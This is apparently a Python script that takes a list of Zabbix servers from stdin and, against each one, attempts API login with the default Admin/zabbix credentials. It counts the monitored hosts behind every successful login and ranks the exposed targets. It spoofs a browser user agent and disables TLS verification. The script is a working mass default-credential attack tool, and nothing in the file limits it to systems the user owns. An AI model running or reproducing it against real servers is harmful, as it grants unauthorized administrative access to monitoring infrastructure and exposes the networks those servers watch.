import asyncio
import json
import sys

import aiohttp

UA = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) Chrome/131.0"}


async def rpc(sess, url, method, params, tok=None, bearer=False):
    body = {"jsonrpc": "2.0", "method": method, "params": params, "id": 1}
    hdr = {}
    if tok:
        if bearer:
            hdr["Authorization"] = "Bearer " + tok
        else:
            body["auth"] = tok
    async with sess.post(url, json=body, headers=hdr, ssl=False) as r:
        if r.status != 200:
            return {"_http": r.status}
        return json.loads(await r.content.read(8000))


def _num(v):
    return isinstance(v, int) or (isinstance(v, str) and v.isdigit())


async def one(sess, sem, ip, port, path, ver):
    scheme = "https" if port == "443" else "http"
    url = "%s://%s:%s%sapi_jsonrpc.php" % (scheme, ip, port, path)
    bearer = ver.startswith("7")
    try:
        async with sem:
            j = await rpc(sess, url, "user.login", {"username": "Admin", "password": "zabbix"})
            tok = j.get("result")
            if not isinstance(tok, str):
                return None
            j2 = await rpc(sess, url, "host.get", {"countOutput": True}, tok, bearer)
            hosts = j2.get("result")
            if not _num(hosts):
                # retry the other auth style once
                j2 = await rpc(sess, url, "host.get", {"countOutput": True}, tok, not bearer)
                hosts = j2.get("result")
            return ip, port, path, ver, int(hosts) if _num(hosts) else str(j2.get("error"))[:60]
    except Exception:
        return None


async def main():
    rows = []
    for line in sys.stdin:
        f = line.rstrip("\n").split("\t")
        if len(f) >= 4 and f[3][:1].isdigit():
            rows.append((f[0], f[1], f[2], f[3]))
    sem = asyncio.Semaphore(8)
    to = aiohttp.ClientTimeout(total=15, connect=5, sock_read=12)
    async with aiohttp.ClientSession(timeout=to, headers=UA,
                                     connector=aiohttp.TCPConnector(limit=0, ssl=False)) as s:
        res = [x for x in await asyncio.gather(*[one(s, sem, *r) for r in rows]) if x]
    ok = [x for x in res if isinstance(x[4], int)]
    print("checked=%d admin_ok=%d" % (len(rows), len(ok)))
    for x in sorted(ok, key=lambda y: -y[4])[:20]:
        print("  %s:%s%s ver=%s hosts=%d" % (x[0], x[1], x[2], x[3], x[4]))


asyncio.run(main())
